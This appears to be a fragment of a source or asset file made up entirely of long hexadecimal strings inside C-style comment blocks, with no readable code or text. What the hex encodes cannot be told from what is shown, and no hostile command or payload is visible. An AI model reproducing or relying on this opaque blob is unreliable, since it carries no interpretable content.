152e9f6e5d94a24f19c538d4f891e23ee8a72ca1c38e80654afe341061f02ab9bb92dad904610ec41011237ba38b947ddcc4f3a151e6affbea45a622f00d39419db34f012e3b52061afbe622019ee42fbd192d45988af1859260e3d83098f985f6d77674913b489997a77a030c924df415fa11ae1a7b4e846b18ecbb48287f472ea7c61caf92be733c0e75a78ccc98ca956ce61b0a8af17bfacf83ff1bafd657f1b317a32aedbc2705efc8ee2d8c799592d636d2805f2f49b1ccfefb1287db91f27ab9cdd3a34260a0840f2e0a3a21229e08232efbbf29b8b22005603713002cbe1e3ec8fc8b3bc7078f4e1c9890142c2d2a5b2692976db28497fe3ddb090611ee3596620eb04159340b6cac91e950b1cac01eae4eb11e8de680c5408dbdcf217e9efe6e16d49dc6aa48c416510f2f4c2f37df45206c10a337cde457fc0b873443a37affd01ecd615a7c938a833ff4d1145d17c84f7b7a929eaae2c14794c1a0f9ed6ac84fd07337ffd22f3753d5ead33d8a40b66a08e1516fde09cbf6fd28255f230d19a2ca5e44bca085a12789cdf11ebdd78510683a6f4c8d5a97479ea106fac59372ebad67fd1e45e99e674e0f704d207244aff36458b218bd82166335b71958e1ddf0f9cd9eb2075da835fc331c5ab90fdc9028565edba31c5cf60c686677746ad5ea68ab2d329cd7ceb6910405913bad00f6d93a00354fbf089171ffb29aac42434ea158e941a1881ef166b32b7c3d8203badea5fc7541128e773f3a4d027ed0765d69f9fd587171b2f50a027bcc7d43114ea8a67535225ac6b087602f5dea5eff7f15ec33e34ef780383cc79053b93e3f37021173b6e71f9510696cdab5acf2333a6ee507bd1b209140b1e7d0729d90d3120be4977a446232bd2eb5919461e10ca50fa547b78bd24f22a79f9668d0ea9dd496481dadbb6ee60378a44806a87992c125eab8ce3a9b01dbba12a328992d47043e4a1f7b0bdd4009bd0691aedd8407193aae931b15df9211add1d21d1e8b9e8fc54057a5b7178f2cc80b48dab68f14c4f431a929afdad418e9183632901c79a890beee0c3470de2bdacff7c9637f70c9360034588c3721841afee7241a0b02f16f5e6748b0755b25302db962eb1ac906ac4b6d4cdf3dbf9d9597b2751622886d6face60502227b8eead9612d39cccc19c9b79c2ee19b4a4d4ab68833d6b51d82a8540b40c00db90ea37a5e4b81d3089e2e948744e6244b16ec09448a94bfba03b8795e8aafe5afcd46c87a4a0ff3e20aeb4785c9bf2fdfee27737c96aa0639b0c08fd26dc9130458f055bd1c9bad74bcbaf451511beb99171e57b4d30eb0211dbb9c9db509eff4218e4e17900d5889e589886d14ba75c3f75f058618f78a3bbfe6561254969c8f791317d3601fbec93624acf6c13cc222f2c4165b00422b15d94e6e43a6f4daee8218afdfef4410067b29e5ee6b24d6c25fe7a1d13595b2fd51e6a4a9bfc94feaeddaff3bc6f8539558a7d2d4ceb12caf29bee8dcb97a346d31c3ea1d0b93b13d35d665c0cfe636465879d4bac9e87fa8bb844b8409d78a280e43dcad07b86cfa9b5a90169cb65d8ec4310524f0843442ff04eaae654800975a3ddc5220653c4ff18cbab94428fd26f639c783fb4cd703fa17f8c6bad99f6c4fd836e009fd2323b27131a7ae1585e9ac6b6ec3684ae1bc3a76c0dfddd14ea7ae41d99ec9310c55397eaea947cf3418f9c9fe6eed0c91cd41066ad49b7f306e49bd7a24e6771461bd718955247adf7aeb3c87529e3ace54bd3752e62589d37e7be7d89e9e78a84552447f0842d515ff52dff38cf6cff3098fe22e349170bbf40f9fe0b1a407edec7a4ecf27810ecb4eabc11f58145f075474c057ad16925e180ca70df3c3f469e2e6304ead3b436a40c33e2c674e2a1a96b84de837c81f93179f8a5e8cc2adea9d9a1b11b405c8236f4aeaa89542a90073b843293f674a9061e6dfdf59778e66d22bd96f7c06ae9363bb065fd1c0b4941cee4c4e0c9d58c7a6e2a0335cba9e6eecd18283b2a07130fa64709201acc4c22ae492ddc82e98fb31d71ed5f803c4ce5edd4b511b38e5a3786595f7d84f433287688a373c716e9b181f63b4fbdaa3eb2702a8583a2bcd501e0ab37bb62ea905c7b*/
/*a2eb7405684816884bc171803beb21b8022d406270759bd4b56bf072357d16166241da79c9838b4ee1a4567fcd690bdd1e0e0f90a449a709f511c9f73aaf3082517b665351b86b33d86261c8ea793c90bf56eaf60a0e24979f15576602cd42474b095a1edba6f28e75af6a716e95f519fe379236fdcfd628231bbd34e32256ee65f14ea72f6d1fc1d07e5135d88d13a5194c7e5c4d358c254cf27a397876e6212c02158a69f913fc5ff8debbf306cfc0a3d2693ecc04d83adc44e3d61540fec79d28ce0c6240041501842cef584f5738b81a43958a353cab16dd0ecba3abb14e6fdb46dedff50943beacb897e63a9a3df22ba7d443f9262f90c622efad123acc5856d050e8c13cd7cb56fb805df6e8ce1fcf93f8b53e0f1ecf7b3f50bbfd107d9845aec76028db09c53da9c87eaa1118e527a5a421aa37d368cc5f1b647da8f62d9293fd4a1d39ff31c1fc6e926d3ddae77c6fa1a642890476ea4472b0fd8e20970f1c9539b9c6935ad2c3d716b1479a1f155f3d8ac1c8ef04298a9a67de26083b6d3157310b4ffe33d15084117e9a7a427ee04b356ff2a5675777df8f908718158befed4c76df5f1b9511450b91e1d6e69024787118bae5ac41393af9368c0ef3c73b7b6e6a6b509dc992608b313684eb1f368d805f0f314917d6aaa0beca68bf0bcd55d391c29c46513f596474982f463a734cca1dc7305cbf3ff5e250a8788abc2858134bfc4f709bc8460e957f2267905f5d3ee09aaef5ec17afc0147f87a6cfc059f931e1248ae6bac1af76ec1e19629635be04a9ed45ca6426478f030e049e9abef954f2cedeb392471be2a397c23ca62803ff2905722f37867ea555ad96fb6147a0b94c8e261c661e792b68dafedf53f2374120d1894ae22a284098fd25cf34aabe1bd8e660ddfd423f5b85dc878d92690769ecefdf4c7ca54c1706ac2df58420114d556e0c1f58b42dd09b170e512b20701903d239c1df36a259118530e7f1308853c8c45320eb41c434538228cd9eecfc6a9b957a995571902802502fe7f0cf8c6ca1d836c8b1d44487fbe63242e18c508121c4724b5ff88a21d992ecfbb7364a31d98a57cf18e6f9b3d61973a3affd51edc0d8663deeb87f187f2a23959615e4a198fdbc619b71fdaa26ac5145f482adf06a718111297623b0b9807c1211a4b08d7044dc63cdc070a7e1e1474495f8a712dd956de259162c8fb04fed8700749abcce0b832869d19a00534c835deec9b109962b9f46fefe3f6db031894f8d05359e0af693e9acacbc0100d886cde2a3d3d035f48107cc2dde31fba0815a14be2b065cbf5e540ec992a0f5efe8f171c9460a6d69b23ec225e148607db371abdecd282c574ea647cd1ee22acf8fae024cdf80e659f1077d36f89326140b1886dc7a87212e7ac2092949f1064da00764ceef4edbd69e2db6d34a1664f626be0e0dcbaa437254ffefdaec05e8672be012f6b6daa713d1f25998285e41c4ab5fd30c417cee6c98927d387ef6a3bb899c17998cbe255ea34e94870893f328ee35d6ac15fed029d5a951c043d3ba7c961d0b8063d9be3f7647f6187f8333ba9fd42f884ce07cf4f61528025afe4e455e49f58e4c6889acd8de82f0acf733c2719a90eb49c16592dd61c21beb542a74da92c5733b8084ae10cc3a09aeec87e6e9b9002fbc8805708cc646b80cb733aa885b86af1fd4e1f28fd5dc02135a7eb288b4d7801beb084ab2ed4140e87f586bf48bcc92c3e2959c3012c84ae46610ebcfe6c33f6aa4e00e38783195b41141c93023c207b69be3d5ad77d529a221f5314c0368be6a948641e00d3f10d0b1ec13b1547f2b0be7e04510e3d9687622bfd135cd7344f20a33be8ab40ac506cf9b44388f8dc789530adbd85b0a9e90e1b19ede6a530ced00ce76220a0b7cf5cff1b57ac25b2d720ef09df91f31d7696a1db98789ab64c299822fe8ff7e8dde81e7cb47aecbd9e580855afe55700122d6be1d02f1554f09a2474bd5f656e15ac00eed8332509d500d5fd531e22a35c69e9dec2b3cf3721dc7e9a931ac38ca1447d7f78a196a38e90683990c338492cd0a82f3b3a106e86eb934670b32d3a6c0b949ef65cce9e84ed6ea9c16476ebd8ceeeee8bf3403cdb8a85495d85ad805d2e2294ef18a1823aaee4f48052be7562944c9aad87c1586ae3699835c8ca0630df22cd9fa7c0813a88188b60c5922b254009677a2e15ec7b086c40dcf8dc30dea538b3d26944ec29488a788ba0b80bbe09edc1b520bb5970703cff394617b2bd3bfc7e2fba3026f4b7afc19fe94f1de1f2361a514f7d051154ae6f469b779d76645867a7216ea1f1acd7f0567cb132786e40085504a518513b2046be8e83898a3762149bc5e572a6d8ff39d0ad065b4a3c08644b82255fbf2aa62e302ff180113670cd63d8491c15c0e04c41b685b127a90059018d9a6b0e99d8ac071b87f6cbb2e45b22b5bdd0626e94ba3b4b7c2c02ef0fd0cfd24c0d1daddc33c69840ad1c6ed1ab137f2eec7f6f981bd53526556ab603201d8f7a7299ae8ea4691a3c9af588992be7f8f7265f59711db244d1fa7ba88bd1ddd7d4d5c2663a431cfca17ad2e34296babcdf3ac6fc6b5dad6756ce818d6c288c8d2234aa9390d1addc6820ab319ed411142cb75524272521c6be29de43711c453466810de81aaf652762438847182bc2cb1c13ee3b4038419ab4baaa339206d3abc1a7f5227e6bd2d3e253d67b88b34be1219ec4c9bcf0698021bd0fd75528bc3b570f449c18d6c8d04bfbf1e7afc8d565641e2ce94ed2ece2bdc66d49883f902efd9e625f646a00e2d5f6f80ab0ad8*/
/*a175f8d4acc1a37074232cc9088a8c8f4e4eb2ff41b69e8329b212ad96b87ebb0190668aeafe0840858f7b866ff702949dbf7ddbdd414e933724b50090d1a8095e740e2684cf689852143ae22c9442440eb6fbbeea40ec155af42f2c19c4313eb2d67159f067429e97d356b6f778de17d0aa824757b9118e3fb6c7b51768c6214e38d4885e429a3b494006a3d7bede7161656bd62ebacd8017c567fa8fa68644e7705a65d3b42d5995fbe0389be3f7db0ff6917923ebf1c33da80516dffe4e1dc6d9f87cb0737b32d478713f20cf72f9d8e54d6e4aaa9700dae9cbc1f8c3879b55aeefeb2bcb9c23b8c3156bdf07db809a08ec827e0b41592714a2e6f09ceba6ecd2e7450408d04cf6b50553073b749efd2fda21ed90196b46c12a276c7f5885a806f1e852afd0dedd18bb4a841377968202918625acc4d5aaaa1ebe55a14674f17acd5950f03c60805667c385a06eb96ba1bceb71b5ecbea4fc3703373daa9e613a73fc9f4baa977a3106b34c828a125e4cbc2db688d488f9e53c3e57bb7804162a6275d5ffd8cac6e5e6f59473e962510b03e608f9f4960936ff1363f3dd16f91d1ee48ce31eb7c8365a40a116aadd6dc628bcc9af00f5e52baa51efb86e44d2388985981e722b25386f9708e26639b7a57884232735f0866212d9472ca061422b71a31c9a3651d0956d33c56ae7c8e7588b6f142733a0ea9ff1cc1c877ec6b259edeab80ad1740010103250c019ab2fc0c055f5112543c35cdb9b406f45f97d04f06c25388659fa20eb07b580b579daf44a1ac36daf3c44fdc35e7bf91aaa125036b607919a9d4fbbd3e701da09c8707e3806a597d980ea7332ee57ead9799f7876a5d478e3ebffa4813625e2d4af1994fcd3bae47a488f2a367df07ac8c8d983271e679dcaf7594426f1e86787486fc1d064b1f860cf50a14222e42bb1a80673ea6f3ee39d2f52457545217ff1699c072738f9dda6202d68ce7261dc3420a82004650b4cda91f9590a9af4a59ff867eb856284a177ebfa3689d317eb739754e2407a6797932c0ee45deef08147efe547f2b20176c6549bf640c4e0df5484f879ce3e0b825a1e0cae9057f34c420f88d9a5aec15e27a696c6d772bcdc93230feaf6aa77caba6f764babe8efbe138bac4c030e62545a8802eef739b16ee0fad7ae398f20fd09a83563414ba5d1ea3f5a37872ebecf9196c94eb10d4a2e28425e5d572aeeaf8ba03b012c270423715c5600804af69218f93a9abf014a708e6d64dc83c66ddce85689f9b73ff3940f879e939581ffc9a070acf1cb8a45cdae298827b11a27a529f12a84b52ca259b7422bf36a052328b9cc641e73b4ca11fe17c2ad2197f471d79a2cd1bf461687b069c74eaac8c9de25ff4e665102b57b80867c4c997e8e072bc8b1052234cc3a6714cdfc4cde124d148510483b64dbd256a13ecbeec85ce138cf6d2a82bffd99883c58fc932cf1b2660f1fba768d3afcd3f139c991c739fac3bf6311db5ecc3a4166c072c48e98e0d12965c364e1d61b874e26f76e5c6b0838fa0d0d12daf7dbcb95d794da5028b5a1428137ee873575a456fb2784e48fe26c454c96c0fda4996ff6ea69a42923dff95ecd5fc9b57fde1a651e97ce3777411df9fe7463d5858f5a0fa89b271556c0aeb087546c8e75460a65100a64ecc2026f5dcf08b466cef50d5f652c4c636c949eb0c107a98e0e19492d1f77d2915960aed65497a966b41a45dec244cfcc87341316c869d586fe4fef6fd515ce8f76ee7472cd350c3b0d17796cd02ccdf363995ca25ddca567cb41f055ecacfecf7291420dd79713c0a58ef10aa236863c98dd093c21a98507653953ce4fb7c03d62061cd6baa3a84d71dcebe5cd96b81d8f4d72d1c73215d3e8f0b1c6c6ed64db0529b1c9b7640f67ffe117c0a982a586d9aedf1d0cabeb55d2b15bcc6fe521dfcf2aa6f1b5184f3b4178c40767b6ffcce0d147e8fdbf9be88197cd03cb083d7545d2c623e139778009a02e622d0704eafb5acd47cc6d34e10923b90abf39d77e73a23c1b2d78de868bd6331096fb20f7aabfd1d0ca65ac03da5613218a1fd7f1d04305ac69a42294387bb1caa38191cf33a19285b1ce982a6112f135dff0d515f1620ba7c44e6bad64270f119f2012e8bc52651ef6522870eff9242f29d9ac84e9393b1d57a5cb143f81a7a2ffa4581a3b447c1010f82c9f0319750c0ad0f45c9f16eb07cb300166b0021fb6e8e7f9abaadea431e5fdb445fd3b2f01682213723c499f2d833076f6a86c73b2ba10e9aad47f89abdcdf97ee601d025429ec0c7b1fb81d3a9d16a6277408fb359bc267cf25cd906850b17617fe34cf5e8f7ad2f707f4e538156fe4cb6f90a73779d5aaa21047f2f5610cdff453bd8c2c70c234e71c1b559c9f9517a06633e574074bfafb369421f2e96e105a09c7ff3bef8fab41e5c63bafbc07ed54efdcd8906af5175ed1486cda250f946edd5b7bef840aea5f40532478d46c8dc02ab7174cbcf9f0ff1482c3aacb6ec18fcb20763a8b28a77682af0e776b88be0b5d1e8657acc47a7dbea869acec7deb88b12f2a70f753fad6e5aa1e5433e47acbbf4ca32d2b25ba7cfecfd80e3fb02fe37428f46d41bf7ca4bec7a39afccc9fcf2159a44749676501e4c89a2969a30a21414d3eb151812d5946d82bb282b7186675fae42c16267e95bf2242bcae7819ecdcfdb1a0a79de197455d9d020debda3a4d1b564f8183adbd61291109a87af139eebcd1633089147b4e47a54e28df290d8ecfd439d5008cc0db5d1107d32c45a95f0d1204204d2cb839fc2d5381b57676ec74b772*/
/*0ebb028717e457bd6d3284071202509d7a1b575a88862537d0242920f0c739002f472a5559f0ca268e36968dbd5bf34067eff362fc11cf543e29bf194e66a5681475a6335c034b1de2a057dfa489dfe2f8dee8ec061607d829c2876432f64f2e42af4bbadd31bd66784d95b01ab02e5f1483d18fb4b78f99ae0c48e9d239feb89ab3798cc82184f3cf400d7ca79587c836d448208b61ffb910f28b27e88e4c9c7dec513c79ebf509abb013f3d9ce3b183f5ef7fbfe847a174047cc3507069517b2e969c0cc2d5e81097f6c48581372044a9a1901be44e3a8b40249959f0ed83ddee79b78f18313b7a6cf3b08f498302ff6e8d2e6dd76b8cffb1c1e8e3efdde80ef842f51483735cba0130df878b31ac9f966491fb0768c41fccd0e9cfc8c02f009559855cbcd9ffe60d5804ababe25f6e5fbf9ca64e27ef26bc4370948771fa0599d73b3bd2349946bfb794963f89b98051be0d878a67ae2e2394f0a708f27506a3b2cea410d0a02cedc1fa4f524e3cca09375f718b8ba0ca3335f976a1758be09b619b7e37f64c67652a9c87977fa69c325a9b3d8a2e1331fa08e9fa9d1fc977554f7ba9b333ef970c9669cebda1b8ee3208ce1ebb24118db40f86acfe3bff6f7993b3678615c2c5dd972469fc1893b18940f23aa4a09f38e6400c98251f939cb6807f99c01edb641d37e3ddec36feba2c7dbdbeb69c55173fc442356b8edb5d45749e8bbddc7b46bc49e838a81c3cc19e4a19f61ea4a0b040590ba659d8baeb89da818e0ded59726e1dc4b3e6a3e6b2ca7f67b92a1038c729d46ebe40317069c76d75bef2a45b27b9862a0f4f398ec33057e0702a5a4357c8a2e5519c6296f032bd30a36e873e9605adb90781ee9d7e46651c9a6c0313c4c0422eeaafc8e18a36400198f30cd1324b1649a5f7787e2464ea38012c8065b0d31ba9f18fc48ed0231a6001a132274925f220deb2d4ffa5207e851c922052778d5ebb6c5ade3293c5cbb9cd162de3d84255a12e1606b23672109a5b38213af15da0a8cba16169dd051aefd92ba9c89fcd3d42b348f36f31c0a819318da87e7fe1b98449e38e5be2ecd599c7d3046ad79133421cc4fea27598453ed11ef5dfe17d83983cefb75d65fa7a921b152ad368fa735f5712424eeba4fa4d05b5000343dae2ba0e1f8567456299489188547ac2be2e69c11f02b9daf849c298e0ee79d55fc9da9e51f8f74c3df2344ae822c9ae595b279e87891f2d418024c7ca60d8e3af0ce4548bac45f01f19621f912bb97b672024bf7dc9b69697eb57044541a0efda574fcbe2daf46d321fab962086b2ff3b3fe1a45c78d2fcce4ba38355b17b89f2a472c34563e8193cb284681fc640e7e02082906c17084827dc161f1cfd672c83e8d7660b2826d25b662c24c48a6cba3f1a19ab93d32acf226c937c94c8d31ec4d6e7bea41ef506774399e451321f466e5c130695424d6f27aec1197cd94f8822fab63a0ead6e14f0a6fde10b8c36ac934c08c3af4673c6b7b612a5e56f4dea763da19bc84c53d7caf1fec2aa3638cf38885e2d60be2bdaf920cab60af202862aa27aa72a215b7330ae85e18f06fcccae1ac24636c51e4adaa2c4ef6f97087305a70b54bc6d118c8a2c6ed25ebd9966fd12b92f9556e8db02cb8936b1a3da380d2ef8808d70798e500aeee1d4f403961ab0a131f3d0da960b638c73ac7f0400b96363d07824cc77b798b3098520c5085d750a4ceb4d01fab5008d2d43b4aeda897accc2a83437d932fe4c35900f49f8c38da698419b9cd987d0747dfebb99e1c4add18dc731eff263ee2e335cecf17093994d5b5fca8bf2c933bf5b1f740d06adf09733855bd1849264348cb00b86e11feb8a74db04c9dc5680964ef0c30506c15336124a0919aa9f86ae3e34bdd1275688f1c760610a74af86a5facea2da08d091d54fc06ed8bb5aabd807433d316e551e3c87964bb64ae5c7c50e46419d45828853efa16b384772a6ee93d635604a897fae363a53748013233b17f22b2520371f6b613bc3386c458beca7ad9a9fc2ed87eeece8712e935639eb3df6dbc0812d964f1e38646b309c2433131a2e7159424ebf876ff97e3e232ed35d2ff9443fbcbcbd39a1a4030db9dd7b8b81bd6c0b91a23ae084bb87ead7828c1a74a35de810d0eb501e38d76f5bab67446385b22bd6af731e3040275e8e99adebcae15eb34e162af798a213ac6838c851f6ccc007f5ebff25b6995e7c843696b44765b6d0331ca62977146c02a94fb37c295b89258855232bcd4813aef843b7b8579638db3ef17ab43ff26515c33c48bfaa443a9524724a05b4c28e973d6a3574656af0c8d0f88da5379e60bf830d1ce450a4c25f50de8edc65c3dccfc15a44a936f8be7e22cd0efd88309cf71a33d8ec167a946562d86f8aab4158c545dcfcc53be92b65947a08d7f9790c24fbfb62c997540f20cb28a70299b4cc351fa2120e423f080ec66422886f5376c098d324277b225a2f09b344009b668f28d0cfe2462329d70187d529bb1f9268399ca657e76c78e80540c3e502ac4c773cf057a252c0a769c8dbf482ab91d60226336e17164168bfefa4fae82ed1efeaf2b3100e3f9fe15552aa8a4e39eaf74d9b21b21c3c9ecf2e73b2b9a1b0b80a056ce982b049c63c388f93b901c953bb439c7103da9fb1cb291f89d34692186afdffd160e7f46a7e6af16c0e3080ffbf2d24af7b1075b028f4e12a620e08d6add49dbc5a8d0fefe02cd4626fd722d44ba95dd27e90374f991d9c87961f387e5bbfbe828171a9720753c30bc53179c0ff5345b5b75a4b3cbddafe94c4ed5910f1d44*/
/*2db35c0e8b4a1ded8f974adc6c426f696b654927a76409d152240afd0abf292c4cbb432665f2be66dc74e4e1110e3936d5964bc2f56e7f902f9b462224cd97c8f19552d242e05d2084613ad83c6e4ccb90d5f4fa474324986bd82b7cfb7d9544092868116949f80cc97fa0a70e22b538676568214006027998db5eee0fddf30056155d04389ed2cd1e9f1e336fabd2d2b54f35121671e51eb3ffe12f9115f71921b9f4a7c03cad7215876f23fc4e4fb4ce02931721e685658572768ecdca2c8409c2b49a12e09cbc189377d7e89c7e768e6349424eb2b6345bec0eefcd40c9cbd371a8f62bf1c0e968599afb2bde107864686af027a15b0ecb6f425c6a028793e9c5dc60035470e9e8bde326386bfd5e3b46e4ffe357a4c9aff97c5ac8b6b3ffb275c90ef36ff69c7fd78e95e14bb87b5b67b501a37be0ca458af223fca942dce6e85fe6d0b3fe328c2806315b101fd309c57da098979abb9a5b941710b631ed45fc6128a5928c7d1d3fa38f4ece5dfc3438353ae0ca61a424307f6af14112213f6171692ce41d8922cc55b3d3594c58c6f67d997fdfe8a6fc674f9726e260c792b319c427716e1309357630af7b6f1a087057b5ef2a59ceac5ca4583734fcedcb727c1f720d3c1eb70a7be4fb0f0943f986d4fe19486aef708032f73d5662942d94e4b550a8513ee253c8d87038c1c0bf1e6fbb9adb59a8e94df6915e539ce9a8e16cf80e0cba47f399d6f350df2d692f84c470688dbd5f749dd8017d0029ed1e598c72ac5be8a478bc7e7843ecfb3f7a68854f075697e80a6259cc2a6ddd52015e0269ad4703a0e960296785fcd5a17d3b78f159eeda5d5380d2e38336ec27e19459af6b402f735c8f7c0f4cb37bc6f9961b65402466b498cf87a9278c3175fb8245209403855fa83b188398030830c24e66dcb63a88c8902e666a15c4d4e002c033b1eaf62e040dccfb2ed3102cfc044e7daae89a4b6ced29b2d8c16c7158c7f5128de9d8c45232dd2271bb20e175b65ebba56768ec48e15e603ea745ed4718a14cfd26d3e239227056f7fd65ca8ca3bcd8bc458ab4133ce9d23a724c63e368bd1fc224e608e42410bf4918543e291adbfe3ceb6fa16daf113b685195e180fd4cfbd292d0d3c3130e94e995664d91b4c7c87965a85039a16461bb8f475114bfeca6e3d6d8eef21f01ab7ba53db72ecbd3b6f00a80e2e07a0b23b17b11472407998610de4b19188dd1bcde50285f251c57e5eb6e25ceb46d17486a1f4bf1b7feb8c05022a77ae04e2b36d72da525dcc26cae74b13b4b51c1ef8a9b34311830ac51ec843babffb7fe6591524f60ad905b00b13aaebad0d7bf1fc7589f9d0a608886ecd471769fe1ca2538f245be0b21ba5b0324cdfb078a77d78791f18c52cc9e6447e6cb623cc6441a15b6abd000e8137d9b4f8b05fbf57675489bbfcd4399a80d4fda9d64fa835bd07a4a824514371f8a474322556fcda9431b16936bf05ff8ec105f4ccf82acc4a4716fe10a574a15e9050601734a013efae20d188919273d078f462d7e66aaf06d8c6fb1d2b42a2f056058a2f20fd7239f742ca57043f7eececaca3062435a2b936d7cd9ebaaccd6e5a99739892160d51e8664fad86d85a20b61197e4f5f4d69172f7c7c5692488b44e995e8f156dec4bc2059f6fd152cd4963c5ee2c2d31927b329101b3d80324fc0037b16f591c776352387618cc8475937915a5c631d00243e09282f64e71b79b93f602c10b2b1ed6879506207d3330424f9780192be2eb6ca0a98e4d73baf16fbffcf98385b280b895d6718576e69f4beff1bfe195f35d39df89c57871d3e617e32f0a0b15b80e0c4a3b5e7482fb620adea9283219d89a1af423bbec7e77e48bcd34067bb0612516d343e9b5364c9be67cca29a392cb82ccb2e11b199cbaa5971c3cf6cb2b6e8a4e2d44420ab43f04fadd9ff734d53bb86b1be78c4cbfff689c5c2e4a1691a3d189980e8bcc7c2974a1d00a9a312b7cbf7608332834f027012553e9686dda0b09652c6961c0a224a143bcd651b511e1808a2f0f9aa03be2bf41e7daabd6f2b580ef728c69bc18cc04766242eae3b0c1f048e6037c63253633623d2e8821ec9834ddace852e29ba86a034b4742c810fdd253e9d24f8d624f478a9bfdd12f5db12f7777934126213ef5986eff89d8854c35616ebc223d8fad04c12df9fe25b56d8154fb0d7348d9e379eab94bdc217b5dfad230c357cbbdc1ddb46fc925ac308e21576ec0b97bd0a8a36f5fd8977f8cdf594a929fdd8e469bd8fbf8e4728a8d5c7de08cf19330ef286b178610481c967caa622cedabb0a16798e0afcded4387e4440965883fbb56ad7fe10774f89a3a6f32c95393e4a80ba463930c28f6aa440cb06effb3c4f02cdf4be1bdf3c49d4c1873fc3ccd5d0a08983ad55288c23d35f8f40017abe5a7fa5db3e00cd54abbc2e9a125ef925d0c95ef5a7cd88a48332a0e5ef7a1af03330533957a370c7d631ef53f1a23c46e54cd1750e1539e9488c5651d5001446991e555e1835eb524901f56a1faddaba66744077533e17950f18a1e004c6019e30085b9b4cef85e6ed43bb0658fbc18873f7511988b87f7812131b1c6e1925b1477926b7c48cbf20e78814a2a23b7722684a36ecf79616ea6bd91a04f2f30ed6d2470d884f5e2b054fa74f7237998a57f497be8bc08447fbcd749a84e7dd7e52009994fa55bf6120386d6c96031abba7333091311cc0de35c6eb6baf29396595e56fd68a1254b964de072d73c616063bef69623f8ae1b916c59816365c68ada2b9de5c49a6d310e356a56b8b077babb3efed0bed*/
/*1dcb4b05f500cbfd41d8037aa5fdcd986bdccd72b0836733b20838100f3d4507f59259f4cf96d3d5d86508be2f698d84b4e1fc7089634d33dd1fd00db751b1784d578f3a2835cd10e63b5e2e70697b045d26de7387da345948ee52a2ef2fd2e43c147b555aa98b5068a5bc757955ff75468e65a9a8048e14f909d5f2864570b156b9e672ccee0e2e0055b0cae78ccf69b864dc42789bd0ed1294c8d864b06db54e6ec9815db4e206d7f15627a5bece0424597b656991b19cae45efb1d5dabfbdb516efc9ec0aeb9aad2b1869ca70af4f01cfab4ce92656fe26700c04265134af807100b5a3f47b8901ea0bb17c08835cf1a1ee6efa52f3967d13878e904f2537cb6deb70a3c5a42085725362c4613dcb750487a384aad91e9697a26308c9305483f571a5bdf5878a4943386f8c347918243d3bb90545036f5c65bac5a35bd40b97ee331a33b6d3e73f9bade99cd159d2dbe33f0f07b205c28c3e30d6b08b0ecac28505e36c5342e4f966194da3229c4b69592410acd91935939886a72d3e80ddcf47658c7f9de4849b8e49f69dbcbc9d41efcb1c1dbe890d27f3060b4841a696970843a5f67030d4e9142fd0635b238ea7f14cc8611a032e7f7640dff185a35d4751d2ba1285013e37262b5ecb2f9e93bf5f8245a194844c2de526489d3977261666c7333df8da3b25dd2a91c1a1fddd1eeb967e09c87549bafc30f08049f3437b72f4a279b1530a7e3c4ad4ebc8b3410e8fdcfaaf42efa9d9281f92abadee007b839d0f4496eaf62c888cece0b41adedbc29be3abf7ad98e946127a88c5438fe14c1f11463fc4d4502b5eea4ee6fa99babd02e8dea50768eeb397c4d6cbaf61cd6866259e9782f047f7b26d4e2a407fcdda7a53d53730f0fcf116d0f527d2cdb6ce59f35aebd2ddfc58abeb4506c273e78a5d3641e98d11f0d21ed7f365fadec22ded2729fca713569bda0fd77195ec24d8f7d8c3619d899f5c84fb59d6d1d8e967219e53418e7beaaa9f8091a5ff4ce84bb24e58a73386185cef06e715442bf11aa6a7414cdc73417458e1a9c6661297ef6107875fcec5f4a437f741947b1f9fe425dcb23156526fa22cd9fa46b028bda7bc5e2caff92fffd4f83de0a0160e732ccb1cacd87641d2c6d89ca7c323c2394ec38c981dd938d1036795cfb07ccc038b849485a35b8b4702be28a149a698fe16236c05e7c663a8277dda99a33c8271dcf846982adfea0ef0ece7015928f1939e828daa6ec603a97d3bd63de33290e87474180905f7fb7c1c922f846656d89e9f5c20b48e0eaf48b8d610a9c414f4377565cba3a0deb3ac9dec5e662182d10158c50094afab3190fc26d7170dee91c55163b7fd9d268dac37f296133b479bdde4dc4f118cd4f45d6fde16660ebc69b15f6847657672c306e530c9abf930de9fa29a688ba7b6c1228c08f50e4e5392a1c45e0534efe05c100c1da98f142e1eee6edd4f5386156c0858e10ae0eb32c9939e69a49cbe11db6b0a4998a58337f26232b7fe32f00d8f78906d94a2490fd72160ec7593986cc7fef60a035aacd805b22dfb37c2a81930301f3dd4d49ba04072c54bc016915b1470b2f1130c2a2f8a425a889dc78282997faf1a513c58dba0e19b83d309c98a14844895812b6e73d93a9c437ce150ba2f8addacce67b1c364cf32b6b03622684b043fbaa289354544a03685884937d59a9d63460a8b6f4f85cfe80f3d35839c5f78b9ef98a6750030a426e683241b933c2f891f1f783107535bd31cb1d9223646f06b1bfad9c7a8208378f7560b412d10670a6b9caf52aef8abbe73f57d9b2aa8e5c645d2399e3242cdfb9fc9281c93d878c18f1cf5601de97e9afdf6859f65886022c253018ebdb681ede5c9e4da6e71df77f823c2890a8c9e8c21e88506ab3e77012ac147f2b929e555cc6e1200f7cd08267a96d72d65f41ca855214daa2c5a3621039730c55461fad3ee925a80ccc5339559e302715e7730310adbf8bd5b751b7a7edcbf7ff070550069dff782c953995bd2e9bcaca19e9b0de53f5a429d3dc0be1fcc6f0a98c48a442fb364b21eab7073d810696cc32709dadd0155269ecc7dab7459797aada44e6fb8ee5321832aa46e80430854d7f5220d9ea76f095459541a5b99d099994564cf6882636d3cd9c4c4afae8f40b32c698e9c76bbd4551f971ad813443f782c0b8cafff24c6dec31e1d9452824ea9ba92d92a6f7fe7a89dcb5d430aa644e32a04f63443d58f070b5561fff1e4185c8dfb6849dde4040a8055f582f74168157b5895aaa4df157e694dd22ecb53017e94acd3dfc4fd674791106d15f75b41d1393875d645ddd77a905a02f03f7b80266daef1af754eaebc0d7fa8a4cb7e43b3c8ce166d5a5e42603f0071a941fb5a8a6eb0bcce74d1bb5d668e447a9bd051ca26c65ea1d9a0ec75e5fd23c71538b713411b6cff96c976ec1e5d9896c754fc1ca1a9d77c39f5a57cadaa26f39edf10705d43a95ff01f2ed40d578549411b272c08d77ef5568f1d921bd885a419aaf4fba3029901a8452cb703b1d571c224fdbcc7271c85587a7a011d4ec4e7154252174635ad38659a8c8b96d185d38ddb6d26b9ea9b68f622a75a559913cbf95721df76613b51b8098606828820ee1e8cb5dbf3b58afd19345a0ee1a4e4e3b4fe3eb3045a946067697170014b09de456b7b6d32f220d4121db093e4bf3f21cc1bd4b8e5fa9c15acba8e076d8483f96af682676f6c10c2917886bb3aa8d8690257f2ce0c47fe721a4a99d92edf5fc2a567a7bbe337292c58f67d5